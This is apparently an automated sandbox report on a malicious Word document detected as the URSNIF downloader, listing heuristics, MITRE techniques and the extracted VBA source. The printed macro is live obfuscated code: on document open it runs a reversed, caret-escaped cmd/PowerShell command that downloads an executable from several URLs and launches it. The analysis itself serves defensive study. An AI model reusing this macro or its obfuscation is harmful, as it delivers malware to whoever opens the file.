MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary commands, likely to download and run a secondary payload. The ClamAV detection as 'Doc.Downloader.URSNIF' further supports this downloader functionality. The script attempts to construct a command line starting with 'cmd /V:ON /C "set Xx= '.
Heuristics 5
-
ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5486 bytes |
SHA-256: d043f38ac216aa92105c0d48235b08d2cca5e4dd6b1e9f07b7bff01d8e95f009 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "bILIMudHM"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
Hour "7908" + "Mc" + "pnlbGZjiiNFS" + "5359"
Hour "1903" + "z"
Hour "203698224" + "499427449"
Hour "9588" + "97751866" + "303160161" + "fIPZ"
Hour "Da" + "8794094" + "498761657" + "120292522"
VBA.Shell CleanString(jsW) + NpRmiIBA + MJDSZuET + uFrfiGmzs + JbBHjDbSkjR + HzTFZfWKRK + rlYviiMFztuVJ + CYBDTFZFV, 87 - 87
Hour "bZ" + "MRcRVHzvvBi"
Hour "Bz" + "107542847"
End Sub
Attribute VB_Name = "AzDXWDPPnSfDd"
Function uFrfiGmzs()
On _
Error _
Resume _
Next
Hour "zEYXjRl" + "oPbqTrTYz" + "XYjDtKvn" + "5379"
Hour "Trwhz" + "oqfYBiiCv" + "KDt" + "163675440"
Hour "EkwC" + "5560" + "3885" + "SY"
RvpskSRQ = "cmd /" + "V^:^ON" + "/C" + Chr(3 + 3 + 1 + 0 + 27) + "^" + "set ^9^" + "X^x" + "= ^ " + " " + " ^ " + "^ " + "^ " + "^ ^ ^}" + "^}{^hct"
Hour "wrT" + "DSYYATwA"
Hour "FOVsVSHXi" + "1648"
Hour "478741409" + "aqmHETPOYn" + "iATHOiMJ" + "505518077"
Hour "2559657" + "YLITRm"
SrrRtIZ = "^" + "ac}" + "^;k^a^e" + "r" + "b^;n^" + "z^E^" + "$^ m" + "^e^t^" + "I^-" + "^" + "e^k^ov" + "n^I;)n" + "^"
Hour "220163326" + "6082" + "hS" + "3425"
Hour "386908995" + "8572"
Hour "5002" + "V"
qblZcptjEVR = "z" + "^E$" + " ^,^P^" + "YG$(e^" + "li^F^da"
Hour "okqmoVc" + "2811"
Hour "jA" + "rq"
IwbjdfQwjWN = "olnwo" + "D.U" + "Y^S${yr" + "t^{)" + "qRn^$ " + "ni" + "^ ^P^Y^" + "G" + "$(" + "hc" + "ae" + "r"
Hour "sFNjNmhUW" + "O"
Hour "oL" + "348528871"
Hour "7966" + "161365601"
Hour "icFaiuvsjmSFz" + "JX" + "282799893" + "XwwV"
Hour "tzmmXnrBXWu" + "189449331" + "q" + "bFLdt"
Djrtiia = "^o^f^;" + "'^ex^e." + "'^+^j" + "aw^$" + "+^'\" + "'^+c^i" + "lbup:v" + "n" + "e$^=n" + "^zE$^;^" + "'5^"
Hour "475472987" + "w" + "TJjw" + "7060"
Hour "388964312" + "XKGPKZ"
HcYjsED = "07' =" + " j^" + "a^w$;" + ")^'" + "@'(^" + "ti^l^p" + "S^" + ".^'w^"
Hour "oLVh" + "avJcCYnjhGRF" + "3747" + "zoz"
Hour "fq" + "124901621" + "kkf" + "108190266"
Hour "WOzfEX" + "AE" + "fIYz" + "qfbffwzqCj"
Hour "TArq" + "416" + "Ksnf" + "407531042"
JwjqbtcuvPM = "p^d" + "^Y^d^b^" + "y/^or" + "^.i^o" + "h^or" + "^" + "odla" + "ir^a^" + "t^on^u"
Hour "476671357" + "nbnrSsJUNMzHXZ" + "121633223" + "wwDnVBU"
Hour "w" + "PtAMKsSaEb"
Hour "HLn" + "XFWD"
dUdXHDTn = "^o" + "rib/" + "/^" + ":p" + "tth" + "@^l" + "^K" + "7rn^kZ^" + "9" + "RE/m" + "oc^." + "artx"
uFrfiGmzs = RvpskSRQ + SrrRtIZ + qblZcptjEVR + IwbjdfQwjWN + Djrtiia + HcYjsED + JwjqbtcuvPM + dUdXHDTn
Hour "O" + "pirsi" + "Du" + "pkUVbBovzSzAj"
End Function
Function JbBHjDbSkjR()
On _
Error _
Resume _
Next
Hour "CV" + "d" + "PT" + "5705"
Hour "81954035" + "zIqv" + "668" + "aPIhIVvcXwas"
Hour "ROFbmZjNNwAO" + "MoSj" + "TaTWIVkC" + "vfVj"
SoFjZ = "^emi^l^" + "iza^y" + "//^" + ":ptth" + "@" + "r5"
Hour "115337146" + "WAYYuFkqkcl"
Hour "rTDtICq" + "NtNHhJN"
Hour "SbmwUUPmkQkh" + "44025423"
BzGYajV = "^h" + "^" + "62LTu^" + "P/cc" + ".tn" + "e" + "c^s^e" + "r^o^u^l" + "f" + "//" + ":pt"
Hour "KZDzzNSDY" + "FDUblUlo"
Hour "d" + "2257" + "ni" + "3846"
Hour "2492967" + "rcNQoCN"
Hour "116" + "Cljo"
DXOamwq = "t" + "h^@Z" + "^l^Qg^l" + "^" + "x"
Hour "GwjLqfd" + "nWIj" + "5021" + "pYiY"
Hour "268862273" + "95491987" + "352435894" + "j"
Hour "JMWpp" + "lCq"
IJMWRdFS = "9VL^X/" + "^" + "ur^.bp" + "s" + "^.^" + "k^i^tro" + "t//" + ":^p^"
Hour "333210332" + "G"
Hour "426522385" + "loRmwSasIN"
EDJAHa = "tt^" + "h@" + "^8X^h" + "^" + "oB^" + "D^" + "Y^" + "1/m^oc^" + ".^s^" + "lle^w^" + "a^i" + "cy^la" + "//^:^pt"
Hour "NohkNTnL" + "386734175" + "GtD" + "4880"
OinpDjmrBJ = "^t^h'" + "^=" + "qR" + "n$;t" + "n^e" + "il" + "C" + "^b^e^" + "W" + "."
Hour "166074422" + "AF" + "6017" + "3926"
Hour "fUnW" + "iC
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.